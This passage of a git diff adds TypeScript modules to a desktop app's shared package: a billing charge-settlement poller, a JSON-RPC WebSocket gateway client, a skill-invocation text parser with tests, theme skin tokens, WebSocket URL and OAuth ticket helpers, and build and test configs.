+export async function driveChargeSettlement(deps: SettlementDeps): Promise<SettlementOutcome> {
+  const start = deps.now()
+  const timedOut = (): boolean => deps.now() - start >= SETTLEMENT_POLL_CAP_MS
+
+  while (true) {
+    if (deps.isCancelled()) {
+      return { kind: 'cancelled' }
+    }
+
+    let status: BillingChargeStatusResponse
+
+    try {
+      status = await deps.fetchStatus()
+    } catch (cause) {
+      return { kind: 'ambiguous', error: 'transport', cause }
+    }
+
+    if (!status.ok) {
+      const error = status.error ?? ''
+      const policy = refusalPolicy(error)
+
+      if (policy.ambiguousMidPoll) {
+        return { kind: 'ambiguous', error: error || 'unknown', status }
+      }
+
+      if (policy.recovery === 'retry') {
+        if (timedOut()) {
+          return { kind: 'timed_out' }
+        }
+
+        const wait = Math.min(
+          (status.retry_after ?? 5) * 1000,
+          SETTLEMENT_MAX_RETRY_AFTER_MS
+        )
+
+        await deps.sleep(wait)
+
+        continue
+      }
+
+      return {
+        kind: 'refused',
+        error: status.error ?? status.message ?? 'error',
+        status
+      }
+    }
+
+    if (status.status === 'settled') {
+      return { kind: 'settled', status }
+    }
+
+    if (status.status === 'failed') {
+      return { kind: 'failed', status }
+    }
+
+    if (timedOut()) {
+      return { kind: 'timed_out' }
+    }
+
+    await deps.sleep(SETTLEMENT_POLL_INTERVAL_MS)
+  }
+}
diff --git a/ui-desktop/packages/shared/src/index.ts b/ui-desktop/packages/shared/src/index.ts
new file mode 100644
index 000000000..63e5684a5
--- /dev/null
+++ b/ui-desktop/packages/shared/src/index.ts
@@ -0,0 +1,68 @@
+export {
+  BILLING_REFUSAL_POLICY,
+  type BillingRecovery,
+  type BillingRefusalPolicy,
+  refusalPolicy
+} from './billing-policy'
+export type {
+  BillingAutoReload,
+  BillingBlock,
+  BillingCardInfo,
+  BillingChargeResponse,
+  BillingChargeStatusResponse,
+  BillingErrorPayload,
+  BillingMonthlyCap,
+  BillingMutationResponse,
+  BillingPaymentMethod,
+  BillingRefusalCode,
+  BillingStateResponse,
+  ChargeFailureReason,
+  KnownBillingRefusalCode,
+  KnownChargeFailureReason,
+  SubscriptionPreviewResponse,
+  SubscriptionStateResponse,
+  SubscriptionTierOption,
+  SubscriptionUpgradeResponse,
+  UsageBarData,
+  UsageModelData
+} from './billing-types'
+export {
+  driveChargeSettlement,
+  SETTLEMENT_MAX_RETRY_AFTER_MS,
+  SETTLEMENT_POLL_CAP_MS,
+  SETTLEMENT_POLL_INTERVAL_MS,
+  type SettlementDeps,
+  type SettlementOutcome
+} from './charge-settlement'
+export {
+  type ConnectionState,
+  type GatewayClientOptions,
+  type GatewayEvent,
+  type GatewayEventName,
+  type GatewayRequestId,
+  type JsonRpcFrame,
+  JsonRpcGatewayClient,
+  type WebSocketLike
+} from './json-rpc-gateway'
+export { skillInvocationText } from './skill-scaffold'
+export {
+  type ClawCodexSkin,
+  SKIN_BRANDING_TOKENS,
+  SKIN_COLOR_TOKENS,
+  type SkinBranding,
+  type SkinBrandingToken,
+  type SkinColors,
+  type SkinColorToken
+} from './skin'
+export {
+  buildClawCodexWebSocketUrl,
+  type GatewayAuthMode,
+  GatewayReauthRequiredError,
+  type GatewayWsConnection,
+  type GatewayWsUrlResult,
+  type ClawCodexWebSocketUrlOptions,
+  isGatewayReauthRequired,
+  resolveGatewayWsUrl,
+  type ResolveGatewayWsUrlDeps,
+  type WebSocketAuthParam
+} from './websocket-url'
diff --git a/ui-desktop/packages/shared/src/json-rpc-gateway.ts b/ui-desktop/packages/shared/src/json-rpc-gateway.ts
new file mode 100644
index 000000000..aeb56225e
--- /dev/null
+++ b/ui-desktop/packages/shared/src/json-rpc-gateway.ts
@@ -0,0 +1,429 @@
+export type GatewayEventName =
+  | 'gateway.ready'
+  | 'session.info'
+  | 'message.start'
+  | 'message.delta'
+  | 'message.interim'
+  | 'message.complete'
+  | 'thinking.delta'
+  | 'reasoning.delta'
+  | 'reasoning.available'
+  | 'status.update'
+  | 'tool.start'
+  | 'tool.progress'
+  | 'tool.complete'
+  | 'tool.generating'
+  | 'clarify.request'
+  | 'approval.request'
+  | 'sudo.request'
+  | 'secret.request'
+  | 'background.complete'
+  | 'error'
+  | 'skin.changed'
+  | (string & {})
+
+export interface GatewayEvent<P = unknown> {
+  payload?: P
+  /** Renderer-side source tag added by the Desktop gateway registry. */
+  profile?: string
+  session_id?: string
+  type: GatewayEventName
+}
+
+export type ConnectionState = 'idle' | 'connecting' | 'open' | 'closed' | 'error'
+export type GatewayRequestId = number | string
+
+export interface JsonRpcFrame {
+  error?: { message?: string }
+  id?: GatewayRequestId | null
+  method?: string
+  params?: GatewayEvent
+  result?: unknown
+}
+
+export type WebSocketLike = WebSocket
+
+type PendingCall = {
+  reject: (error: Error) => void
+  resolve: (value: unknown) => void
+  timer?: ReturnType<typeof setTimeout>
+}
+
+export interface GatewayClientOptions {
+  closedErrorMessage?: string
+  connectErrorMessage?: string
+  connectTimeoutMs?: number
+  createRequestId?: (nextId: number) => GatewayRequestId
+  /** Return true to intercept the default closed-state transition. */
+  onSocketClose?: (event: CloseEvent) => boolean | void
+  requestIdPrefix?: string
+  requestTimeoutMs?: number
+  socketFactory?: (url: string) => WebSocketLike
+  notConnectedErrorMessage?: string
+}
+
+const ANY = '*'
+const DEFAULT_REQUEST_TIMEOUT_MS = 120_000
+// A reconnect after sleep/wake must not hang forever in 'connecting' (which
+// keeps the composer disabled and stuck on "Starting ClawCodex..."). If the open
+// handshake doesn't land in this window, fail to 'error' so callers can retry.
+const DEFAULT_CONNECT_TIMEOUT_MS = 15_000
+
+export class JsonRpcGatewayClient {
+  private nextId = 0
+  private pending = new Map<GatewayRequestId, PendingCall>()
+  private socket: WebSocketLike | null = null
+  private state: ConnectionState = 'idle'
+  private readonly eventHandlers = new Map<string, Set<(event: GatewayEvent) => void>>()
+  private readonly stateHandlers = new Set<(state: ConnectionState) => void>()
+  private readonly options: Required<Omit<GatewayClientOptions, 'socketFactory'>> &
+    Pick<GatewayClientOptions, 'socketFactory'>
+
+  constructor(options: GatewayClientOptions = {}) {
+    this.options = {
+      closedErrorMessage: options.closedErrorMessage ?? 'WebSocket closed',
+      connectErrorMessage: options.connectErrorMessage ?? 'WebSocket connection failed',
+      connectTimeoutMs: options.connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS,
+      createRequestId: options.createRequestId ?? ((nextId: number) => `${options.requestIdPrefix ?? 'r'}${nextId}`),
+      notConnectedErrorMessage: options.notConnectedErrorMessage ?? 'gateway not connected',
+      onSocketClose: options.onSocketClose ?? (() => false),
+      requestIdPrefix: options.requestIdPrefix ?? 'r',
+      requestTimeoutMs: options.requestTimeoutMs ?? DEFAULT_REQUEST_TIMEOUT_MS,
+      socketFactory: options.socketFactory
+    }
+  }
+
+  get connectionState(): ConnectionState {
+    return this.state
+  }
+
+  async connect(wsUrl: string): Promise<void> {
+    // Refuse garbage; WebSocket coerces non-strings into
+    // `ws://<origin>/[object%20Object]` (#68250 stale-emit boot loop).
+    const invalidUrl = () => {
+      const got = typeof wsUrl === 'string' ? JSON.stringify(wsUrl) : `type "${typeof wsUrl}"`
+
+      return new Error(`gateway connect() requires a ws:// or wss:// URL string, got ${got}`)
+    }
+
+    if (typeof wsUrl !== 'string') {
+      throw invalidUrl()
+    }
+
+    let url: URL
+
+    try {
+      url = new URL(wsUrl)
+    } catch {
+      throw invalidUrl()
+    }
+
+    if (url.protocol !== 'ws:' && url.protocol !== 'wss:') {
+      throw invalidUrl()
+    }
+
+    if (this.socket?.readyState === WebSocket.OPEN || this.state === 'connecting') {
+      return
+    }
+
+    this.setState('connecting')
+
+    const socket = this.options.socketFactory?.(wsUrl) ?? new WebSocket(wsUrl)
+    this.socket = socket
+
+    socket.addEventListener('message', message => {
+      if (this.socket !== socket) {
+        return
+      }
+
+      this.handleMessage(message.data)
+    })
+
+    socket.addEventListener('close', event => {
+      if (this.socket !== socket) {
+        return
+      }
+
+      if (this.options.onSocketClose(event)) {
+        return
+      }
+
+      this.socket = null
+      this.setState('closed')
+      this.rejectAllPending(new Error(this.options.closedErrorMessage))
+    })
+
+    await new Promise<void>((resolve, reject) => {
+      let settled = false
+      let timer: ReturnType<typeof setTimeout> | undefined
+
+      const cleanup = () => {
+        if (timer !== undefined) {
+          clearTimeout(timer)
+        }
+
+        socket.removeEventListener('open', onOpen)
+        socket.removeEventListener('error', onError)
+      }
+
+      const onOpen = () => {
+        if (settled || this.socket !== socket) {
+          return
+        }
+
+        settled = true
+        cleanup()
+        this.setState('open')
+        resolve()
+      }
+
+      const onError = () => {
+        if (settled || this.socket !== socket) {
+          return
+        }
+
+        settled = true
+        cleanup()
+        this.setState('error')
+        reject(new Error(this.options.connectErrorMessage))
+      }
+
+      socket.addEventListener('open', onOpen, { once: true })
+      socket.addEventListener('error', onError, { once: true })
+
+      if (this.options.connectTimeoutMs > 0) {
+        timer = setTimeout(() => {
+          if (settled) {
+            return
+          }
+
+          settled = true
+          cleanup()
+
+          // Drop the half-open socket so the next connect() starts clean
+          // instead of short-circuiting on a zombie 'connecting' state.
+          if (this.socket === socket) {
+            try {
+              socket.close()
+            } catch {
+              // ignore
+            }
+
+            this.socket = null
+          }
+
+          this.setState('error')
+          reject(new Error(this.options.connectErrorMessage))
+        }, this.options.connectTimeoutMs)
+      }
+    })
+  }
+
+  close(): void {
+    const socket = this.socket
+
+    if (!socket) {
+      return
+    }
+
+    try {
+      socket.close()
+    } finally {
+      this.socket = null
+      this.setState('closed')
+      this.rejectAllPending(new Error(this.options.closedErrorMessage))
+    }
+  }
+
+  on<P = unknown>(type: GatewayEventName, handler: (event: GatewayEvent<P>) => void): () => void {
+    let handlers = this.eventHandlers.get(type)
+
+    if (!handlers) {
+      handlers = new Set()
+      this.eventHandlers.set(type, handlers)
+    }
+
+    handlers.add(handler as (event: GatewayEvent) => void)
+
+    return () => handlers?.delete(handler as (event: GatewayEvent) => void)
+  }
+
+  onAny(handler: (event: GatewayEvent) => void): () => void {
+    return this.on(ANY as GatewayEventName, handler)
+  }
+
+  onEvent(handler: (event: GatewayEvent) => void): () => void {
+    return this.onAny(handler)
+  }
+
+  onState(handler: (state: ConnectionState) => void): () => void {
+    this.stateHandlers.add(handler)
+    handler(this.state)
+
+    return () => this.stateHandlers.delete(handler)
+  }
+
+  request<T>(
+    method: string,
+    params: Record<string, unknown> = {},
+    timeoutMs = this.options.requestTimeoutMs,
+    signal?: AbortSignal
+  ): Promise<T> {
+    const socket = this.socket
+
+    if (!socket || socket.readyState !== WebSocket.OPEN) {
+      return Promise.reject(new Error(this.options.notConnectedErrorMessage))
+    }
+
+    if (signal?.aborted) {
+      return Promise.reject(new DOMException('Aborted', 'AbortError'))
+    }
+
+    const id = this.options.createRequestId(++this.nextId)
+
+    return new Promise<T>((resolve, reject) => {
+      let onAbort: (() => void) | undefined
+
+      const detach = () => {
+        if (onAbort && signal) {
+          signal.removeEventListener('abort', onAbort)
+        }
+      }
+
+      const pending: PendingCall = {
+        resolve: value => {
+          detach()
+          resolve(value as T)
+        },
+        reject: error => {
+          detach()
+          reject(error)
+        }
+      }
+
+      if (timeoutMs > 0) {
+        pending.timer = setTimeout(() => {
+          if (this.pending.delete(id)) {
+            detach()
+            // Include the configured timeout so a caller (or a user looking
+            // at an error toast) can tell whether the default 30s window
+            // fired or a per-call override — e.g. /compress opts into 120s.
+            const seconds = Math.round(timeoutMs / 1000)
+            reject(new Error(`request timed out after ${seconds}s: ${method}`))
+          }
+        }, timeoutMs)
+      }
+
+      // Abort drops the pending call immediately (no dangling resolver/timer);
+      // server-side cancellation is a separate cooperative RPC where it matters.
+      if (signal) {
+        onAbort = () => {
+          const call = this.pending.get(id)
+
+          if (call?.timer) {
+            clearTimeout(call.timer)
+          }
+
+          this.pending.delete(id)
+          detach()
+          reject(new DOMException('Aborted', 'AbortError'))
+        }
+
+        signal.addEventListener('abort', onAbort, { once: true })
+      }
+
+      this.pending.set(id, pending)
+
+      try {
+        socket.send(
+          JSON.stringify({
+            jsonrpc: '2.0',
+            id,
+            method,
+            params
+          })
+        )
+      } catch (error) {
+        this.clearPending(id)
+        detach()
+        reject(error instanceof Error ? error : new Error(String(error)))
+      }
+    })
+  }
+
+  private handleMessage(raw: unknown): void {
+    const text = typeof raw === 'string' ? raw : String(raw)
+    let frame: JsonRpcFrame
+
+    try {
+      frame = JSON.parse(text) as JsonRpcFrame
+    } catch {
+      return
+    }
+
+    if (frame.id !== undefined && frame.id !== null) {
+      const call = this.pending.get(frame.id)
+
+      if (!call) {
+        return
+      }
+
+      this.clearPending(frame.id)
+
+      if (frame.error) {
+        call.reject(new Error(frame.error.message || 'ClawCodex RPC failed'))
+      } else {
+        call.resolve(frame.result)
+      }
+
+      return
+    }
+
+    if (frame.method === 'event' && frame.params?.type) {
+      this.dispatchEvent(frame.params)
+    }
+  }
+
+  private clearPending(id: GatewayRequestId): void {
+    const call = this.pending.get(id)
+
+    if (call?.timer) {
+      clearTimeout(call.timer)
+    }
+
+    this.pending.delete(id)
+  }
+
+  private dispatchEvent(event: GatewayEvent): void {
+    for (const handler of this.eventHandlers.get(event.type) ?? []) {
+      handler(event)
+    }
+
+    for (const handler of this.eventHandlers.get(ANY) ?? []) {
+      handler(event)
+    }
+  }
+
+  private rejectAllPending(error: Error): void {
+    for (const [id, call] of this.pending) {
+      if (call.timer) {
+        clearTimeout(call.timer)
+      }
+
+      call.reject(error)
+      this.pending.delete(id)
+    }
+  }
+
+  private setState(state: ConnectionState): void {
+    if (this.state === state) {
+      return
+    }
+
+    this.state = state
+
+    for (const handler of this.stateHandlers) {
+      handler(state)
+    }
+  }
+}
diff --git a/ui-desktop/packages/shared/src/skill-scaffold.test.ts b/ui-desktop/packages/shared/src/skill-scaffold.test.ts
new file mode 100644
index 000000000..954ff41a6
--- /dev/null
+++ b/ui-desktop/packages/shared/src/skill-scaffold.test.ts
@@ -0,0 +1,61 @@
+import { describe, expect, it } from 'vitest'
+
+import { skillInvocationText } from './skill-scaffold'
+
+// Byte-identical to what agent/skill_commands.py emits — a desktop/TUI talking
+// to an older gateway sees exactly these strings.
+const BODY = 'SPIN UP A WORKTREE. Never edit the primary checkout.\n'.repeat(20)
+
+const singleSkill = (instruction?: string) =>
+  [
+    '[IMPORTANT: The user has invoked the "work" skill, indicating they want you to follow its instructions.',
+    'The full skill content is loaded below.]',
+    '',
+    BODY,
+    '',
+    '[Skill directory: /Users/x/skills/work]',
+    ...(instruction
+      ? ['', `The user has provided the following instruction alongside the skill invocation: ${instruction}`]
+      : [])
+  ].join('\n')
+
+const bundle = (instruction?: string) =>
+  [
+    '[IMPORTANT: The user has invoked the "/clean /work" stacked skill bundle, loading 2 skills together.]',
+    '',
+    'Skills loaded: clean, work',
+    ...(instruction ? ['', `User instruction: ${instruction}`] : []),
+    '',
+    '[Loaded as part of the stacked skill invocation "clean".]',
+    '',
+    BODY
+  ].join('\n')
+
+describe('skillInvocationText', () => {
+  it('renders a single-skill turn as the invocation, never the body', () => {
+    const projected = skillInvocationText(singleSkill('fix the title leak'))
+
+    expect(projected).toBe('/work fix the title leak')
+    expect(projected).not.toContain('WORKTREE')
+  })
+
+  it('renders a bare invocation as just the command', () => {
+    expect(skillInvocationText(singleSkill())).toBe('/work')
+  })
+
+  it('renders a bundle turn as the typed keys plus the instruction', () => {
+    const projected = skillInvocationText(bundle('ship it'))
+
+    expect(projected).toBe('/clean /work ship it')
+    expect(projected).not.toContain('WORKTREE')
+  })
+
+  it('collapses newlines in a multi-line instruction so the bubble stays one line', () => {
+    expect(skillInvocationText(singleSkill('fix the leak\n\nthen ship'))).toBe('/work fix the leak then ship')
+  })
+
+  it('leaves ordinary user prose alone', () => {
+    expect(skillInvocationText('just a normal message')).toBeNull()
+    expect(skillInvocationText('[IMPORTANT: read the docs]')).toBeNull()
+  })
+})
diff --git a/ui-desktop/packages/shared/src/skill-scaffold.ts b/ui-desktop/packages/shared/src/skill-scaffold.ts
new file mode 100644
index 000000000..fffae405b
--- /dev/null
+++ b/ui-desktop/packages/shared/src/skill-scaffold.ts
@@ -0,0 +1,69 @@
+/**
+ * A `/skill` invocation expands into a model-facing message that embeds the
+ * whole skill body. That payload is for the agent — the UI shows the
+ * invocation the user typed (`/work fix the leak`) and nothing else.
+ *
+ * The gateway already projects this (see `_skill_scaffold_projection` in
+ * tui_gateway/server.py) and ships the result as `display` on a dispatch and
+ * as the `text` of a `skill_invocation` history row. This module is the
+ * client-side twin so a desktop/TUI talking to an older gateway — or any
+ * future path that hands raw scaffolding to a bubble — still renders the
+ * invocation instead of the body.
+ *
+ * The markers below mirror `agent/skill_commands.py` byte for byte.
+ */
+
+const INVOCATION_PREFIX = '[IMPORTANT: The user has invoked the '
+const SINGLE_MARKER = 'The full skill content is loaded below.]'
+const SINGLE_INSTRUCTION = 'The user has provided the following instruction alongside the skill invocation: '
+const RUNTIME_NOTE = '\n\n[Runtime note:'
+const BUNDLE_MARKER = ' skill bundle,'
+const BUNDLE_INSTRUCTION = '\nUser instruction: '
+const BUNDLE_SKILL_BLOCK = '\n\n[Loaded as part of the '
+
+// The skill name is the first quoted span of the activation note, for both the
+// single-skill (`work`) and the bundle (`/clean /work`) header.
+const NAME_RE = new RegExp(`^${INVOCATION_PREFIX.replace(/[[\]]/g, '\\$&')}"([^"]*)"`)
+
+/** Text between `marker` and `end`, or '' when the marker is absent. */
+function between(text: string, marker: string, end: string, fromEnd = false): string {
+  const index = fromEnd ? text.lastIndexOf(marker) : text.indexOf(marker)
+
+  if (index < 0) {
+    return ''
+  }
+
+  const tail = text.slice(index + marker.length)
+  const stop = tail.indexOf(end)
+
+  return (stop >= 0 ? tail.slice(0, stop) : tail).trim()
+}
+
+/**
+ * The invocation a scaffolded turn came from (`/work fix the leak`), or null
+ * when `text` is ordinary user prose that should render as written.
+ */
+export function skillInvocationText(text: string): null | string {
+  if (!text.startsWith(INVOCATION_PREFIX)) {
+    return null
+  }
+
+  const name = (NAME_RE.exec(text)?.[1] ?? '').trim()
+
+  if (!name) {
+    return null
+  }
+
+  // Bundle headers already carry their typed "/a /b" keys; a single skill is
+  // a bare name. The single-skill instruction trails the body (which may quote
+  // the marker), so match it from the end.
+  const label = name.startsWith('/') ? name : `/${name}`
+
+  const instruction = text.includes(BUNDLE_MARKER)
+    ? between(text, BUNDLE_INSTRUCTION, BUNDLE_SKILL_BLOCK)
+    : text.includes(SINGLE_MARKER)
+      ? between(text, SINGLE_INSTRUCTION, RUNTIME_NOTE, true)
+      : ''
+
+  return instruction ? `${label} ${instruction.replace(/\s+/g, ' ')}` : label
+}
diff --git a/ui-desktop/packages/shared/src/skin.ts b/ui-desktop/packages/shared/src/skin.ts
new file mode 100644
index 000000000..c44a6e47e
--- /dev/null
+++ b/ui-desktop/packages/shared/src/skin.ts
@@ -0,0 +1,110 @@
+/**
+ * Canonical ClawCodex skin — the theme SDK's cross-surface contract.
+ *
+ * A skin is authored once as YAML in `$CLAWCODEX_CONFIG_DIR/skins/<name>.yaml` (or a
+ * built-in), resolved by the Python skin engine (`clawcodex_cli/skin_engine.py`),
+ * and pushed to every surface over JSON-RPC (`gateway.ready`, `skin.changed`,
+ * `config.get skin`). This is the ONE shape every TypeScript surface consumes;
+ * each owns a resolver that normalizes it into its render model:
+ *
+ *   • TUI     → `fromSkin` → ansi-safe `Theme` (Ink)
+ *   • Desktop → `skinToDesktopTheme` → CSS custom properties (Tailwind/shadcn)
+ *   • CLI     → `clawcodex_cli/skin_engine` → prompt_toolkit / Rich styles (Python)
+ *
+ * Tokens are terminal-first (the CLI is the oldest surface); GUIs derive their
+ * fuller palettes from the load-bearing few. Every field is optional — a resolver
+ * falls back to its own default for anything a skin omits.
+ */
+
+/** Canonical semantic color tokens a skin may set (the "enum" of the shape). */
+export const SKIN_COLOR_TOKENS = [
+  // Base surface — GUIs + the TUI status bar derive their palette from this.
+  'background',
+  // Brand accent + primary.
+  'ui_accent',
+  'ui_primary',
+  'banner_accent',
+  'banner_title',
+  // Text.
+  'ui_text',
+  'banner_text',
+  'banner_dim',
+  // Structure.
+  'ui_border',
+  'banner_border',
+  // Semantic status.
+  'ui_ok',
+  'ui_warn',
+  'ui_error',
+  'ui_label',
+  // Element-specific (fall back to accent/muted when unset).
+  'ui_tool',
+  'ui_thinking',
+  'diff_added',
+  'diff_removed',
+  'diff_added_word',
+  'diff_removed_word',
+  'syntax_string',
+  'syntax_number',
+  'syntax_keyword',
+  'syntax_comment',
+  // CLI / TUI chrome.
+  'prompt',
+  'input_rule',
+  'response_border',
+  'shell_dollar',
+  'selection_bg',
+  'session_label',
+  'session_border',
+  'status_bar_bg',
+  'status_bar_text',
+  'status_bar_strong',
+  'status_bar_dim',
+  'status_bar_good',
+  'status_bar_warn',
+  'status_bar_bad',
+  'status_bar_critical',
+  'voice_status_bg',
+  'completion_menu_bg',
+  'completion_menu_current_bg',
+  'completion_menu_meta_bg',
+  'completion_menu_meta_current_bg'
+] as const
+
+export type SkinColorToken = (typeof SKIN_COLOR_TOKENS)[number]
+
+/** Canonical branding/string tokens. */
+export const SKIN_BRANDING_TOKENS = [
+  'agent_name',
+  'welcome',
+  'goodbye',
+  'response_label',
+  'prompt_symbol',
+  'help_header'
+] as const
+
+export type SkinBrandingToken = (typeof SKIN_BRANDING_TOKENS)[number]
+
+/** Hex color per token. Open-ended so back-compat / niche keys still round-trip. */
+export type SkinColors = Partial<Record<SkinColorToken, string>> & { [key: string]: string | undefined }
+
+/** Branding strings per token. Open-ended for the same reason. */
+export type SkinBranding = Partial<Record<SkinBrandingToken, string>> & { [key: string]: string | undefined }
+
+/** The resolved skin payload (matches Python's `resolve_skin()`). */
+export interface ClawCodexSkin {
+  name?: string
+  description?: string
+  colors?: SkinColors
+  /** Hand-tuned palette overlay for dark terminals (light-authored skins).
+   *  A resolver picks colors/light_colors/dark_colors by the terminal's
+   *  detected polarity — see the TUI's `themeForSkin`. */
+  dark_colors?: SkinColors
+  /** Hand-tuned palette overlay for light terminals (dark-authored skins). */
+  light_colors?: SkinColors
+  branding?: SkinBranding
+  banner_logo?: string
+  banner_hero?: string
+  tool_prefix?: string
+  help_header?: string
+}
diff --git a/ui-desktop/packages/shared/src/websocket-url.ts b/ui-desktop/packages/shared/src/websocket-url.ts
new file mode 100644
index 000000000..deace0dcc
--- /dev/null
+++ b/ui-desktop/packages/shared/src/websocket-url.ts
@@ -0,0 +1,151 @@
+export type GatewayAuthMode = 'oauth' | 'token' | (string & {})
+
+export interface GatewayWsConnection {
+  authMode?: GatewayAuthMode | null
+  profile?: null | string
+  wsUrl: string
+}
+
+export interface ResolveGatewayWsUrlDeps {
+  /**
+   * Returns a fresh WebSocket URL for the selected backend/profile.
+   * OAuth-gated gateways use single-use tickets, so callers should mint
+   * immediately before opening the socket.
+   */
+  getGatewayWsUrl?: (profile?: null | string) => Promise<GatewayWsUrlResult>
+}
+
+export type GatewayWsUrlResult =
+  | string
+  | { ok: true; wsUrl: string }
+  | { error: string; needsOauthLogin?: boolean; ok: false }
+
+export class GatewayReauthRequiredError extends Error {
+  readonly needsOauthLogin = true
+
+  constructor(message: string, options?: { cause?: unknown }) {
+    super(message, options)
+    this.name = 'GatewayReauthRequiredError'
+  }
+}
+
+export function isGatewayReauthRequired(error: unknown): error is GatewayReauthRequiredError {
+  return (
+    error instanceof GatewayReauthRequiredError ||
+    (typeof error === 'object' && error !== null && (error as { needsOauthLogin?: unknown }).needsOauthLogin === true)
+  )
+}
+
+export async function resolveGatewayWsUrl(deps: ResolveGatewayWsUrlDeps, conn: GatewayWsConnection): Promise<string> {
+  const mint = deps.getGatewayWsUrl
+  const profile = conn.profile ?? null
+
+  if (conn.authMode === 'oauth') {
+    if (!mint) {
+      throw new Error('This Desktop build cannot refresh OAuth WebSocket tickets. Update ClawCodex Desktop and try again.')
+    }
+
+    try {
+      const result = await mint(profile)
+
+      if (typeof result === 'string') {
+        return result
+      }
+
+      if (result.ok) {
+        return result.wsUrl
+      }
+
+      if (result.needsOauthLogin) {
+        throw new GatewayReauthRequiredError(
+          'Your remote gateway session has expired. Open Settings -> Gateway and click "Sign in" again.',
+          { cause: new Error(result.error) }
+        )
+      }
+
+      throw new Error(result.error || 'Could not refresh the remote gateway WebSocket ticket.')
+    } catch (error) {
+      if (isGatewayReauthRequired(error)) {
+        throw error instanceof GatewayReauthRequiredError
+          ? error
+          : new GatewayReauthRequiredError(
+              'Your remote gateway session has expired. Open Settings -> Gateway and click "Sign in" again.',
+              { cause: error }
+            )
+      }
+
+      throw error
+    }
+  }
+
+  if (mint) {
+    const fresh = await mint(profile).catch(() => null)
+
+    if (typeof fresh === 'string') {
+      return fresh
+    }
+
+    if (fresh?.ok) {
+      return fresh.wsUrl
+    }
+  }
+
+  return conn.wsUrl
+}
+
+export type WebSocketAuthParam = readonly [name: string, value: string]
+
+export interface ClawCodexWebSocketUrlOptions {
+  /** Dashboard or gateway-relative endpoint path, e.g. "/api/ws". */
+  path: string
+  /** Optional URL prefix when the backend is reverse-proxied below a subpath. */
+  basePath?: string
+  /** Query auth pair, usually ["token", value] or ["ticket", value]. */
+  authParam?: WebSocketAuthParam
+  /** Extra query params merged before auth. */
+  params?: Record<string, string>
+  /** Browser protocol string such as "https:"; defaults to window.location.protocol. */
+  protocol?: string
+  /** Host with optional port; defaults to window.location.host. */
+  host?: string
+}
+
+function readWindowLocation(): { host: string; protocol: string } {
+  if (typeof window === 'undefined') {
+    return { host: '', protocol: 'http:' }
+  }
+
+  return { host: window.location.host, protocol: window.location.protocol }
+}
+
+function normalizeBasePath(basePath: string | undefined): string {
+  if (!basePath) {
+    return ''
+  }
+
+  const withLead = basePath.startsWith('/') ? basePath : `/${basePath}`
+
+  return withLead.replace(/\/+$/, '')
+}
+
+function normalizeEndpointPath(path: string): string {
+  return path.startsWith('/') ? path : `/${path}`
+}
+
+export function buildClawCodexWebSocketUrl(options: ClawCodexWebSocketUrlOptions): string {
+  const loc = readWindowLocation()
+  const protocol = options.protocol ?? loc.protocol
+  const host = options.host ?? loc.host
+  const wsScheme = protocol === 'https:' || protocol === 'wss:' ? 'wss:' : 'ws:'
+  const qs = new URLSearchParams(options.params ?? {})
+
+  if (options.authParam) {
+    const [name, value] = options.authParam
+    qs.set(name, value)
+  }
+
+  const query = qs.toString()
+  const suffix = query ? `?${query}` : ''
+
+  return `${wsScheme}//${host}${normalizeBasePath(options.basePath)}${normalizeEndpointPath(options.path)}${suffix}`
+}
diff --git a/ui-desktop/packages/shared/tsconfig.json b/ui-desktop/packages/shared/tsconfig.json
new file mode 100644
index 000000000..c602eeebc
--- /dev/null
+++ b/ui-desktop/packages/shared/tsconfig.json
@@ -0,0 +1,15 @@
+{
+  "compilerOptions": {
+    "target": "ES2023",
+    "useDefineForClassFields": true,
+    "lib": ["DOM", "DOM.Iterable", "ES2023"],
+    "skipLibCheck": true,
+    "strict": true,
+    "forceConsistentCasingInFileNames": true,
+    "module": "ESNext",
+    "moduleResolution": "Bundler",
+    "isolatedModules": true,
+    "noEmit": true
+  },
+  "include": ["src"]
+}
diff --git a/ui-desktop/playwright.config.ts b/ui-desktop/playwright.config.ts
new file mode 100644
index 000000000..dc06c59fe
--- /dev/null
+++ b/ui-desktop/playwright.config.ts
@@ -0,0 +1,63 @@
+import './e2e/fix-electron-tracing'
+
+import { defineConfig, type ReporterDescription } from '@playwright/test'
+
+/**
+ * Visual regression testing config.
+ *
+ * Screenshots are compared against baselines.  On `main`, baselines are
+ * generated with `--update-snapshots` and cached.  On PRs, the cached
+ * baselines are restored and screenshots are compared — but tests DON'T
+ * fail on visual diffs (see `expectVisualSnapshot` in visual-snapshot.ts).
+ * Instead, diffs are surfaced in the CI step summary and uploaded as
+ * artifacts for human review.
+ *
+ * To update baselines after an intentional UI change:
+ *   npx playwright test --update-snapshots
+ */
+const reporters: ReporterDescription[] = [
+  ['list'],
+  ['html', { open: 'never', outputFolder: 'playwright-report' }],
+]
+
+if (process.env.CI) {
+  reporters.push(['json', { outputFile: 'playwright-report/results.json' }])
+}
+
+export default defineConfig({
+  /* Test files live under e2e/ so they never collide with the vitest suite
+   * under src/ or the node:test files under electron/. */
+  testDir: './e2e',
+  /* The desktop app can take a while to bootstrap on cold CI runners — 90 s
+   * per test gives us headroom without masking real hangs. */
+  timeout: 90_000,
+  retries: process.env.CI ? 1 : 0,
+  /* Each test gets its own worker so the Electron process is fully isolated. */
+  fullyParallel: false,
+  reporter: reporters,
+  use: {
+    screenshot: 'on',
+    trace: { mode: 'on', screenshots: true, snapshots: true, sources: true },
+    // Emulate prefers-reduced-motion: reduce so all CSS transitions and
+    // animations resolve instantly. This prevents boot/connecting overlays
+    // from being mid-fade when a screenshot fires, and skips JS-driven exit
+    // choreography in components that check matchMedia (onboarding, connecting
+    // overlay, DecodeText). Without this, screenshots capture the loading bar
+    // or overlay at a transient opacity because the text-content check fires
+    // before the visual transition finishes.
+    contextOptions: {
+      reducedMotion: 'reduce',
+    },
+  },
+  expect: {
+    toHaveScreenshot: {
+      // 1% of pixels may differ — absorbs sub-pixel font rendering variance
+      // between local and CI environments.
+      maxDiffPixelRatio: 0.01,
+      animations: 'disabled',
+      caret: 'hide',
+      // Per-channel threshold for "close enough" — anti-aliasing differences.
+      threshold: 0.2,
+    },
+  },
+})
diff --git a/ui-desktop/preview-demo.html b/ui-desktop/preview-demo.html
new file mode 100644
index 000000000..05bfb69ee
--- /dev/null
+++ b/ui-desktop/preview-demo.html
@@ -0,0 +1,65 @@
+<!doctype html>
+<html lang="en">
+<head>
+<meta charset="utf-8" />
+<meta name="viewport" content="width=device-width,initial-scale=1" />
+<title>Preview Demo</title>
+<style>
+  :root { color-scheme: dark; }
+  html, body { height: 100%; margin: 0; }
+  body {
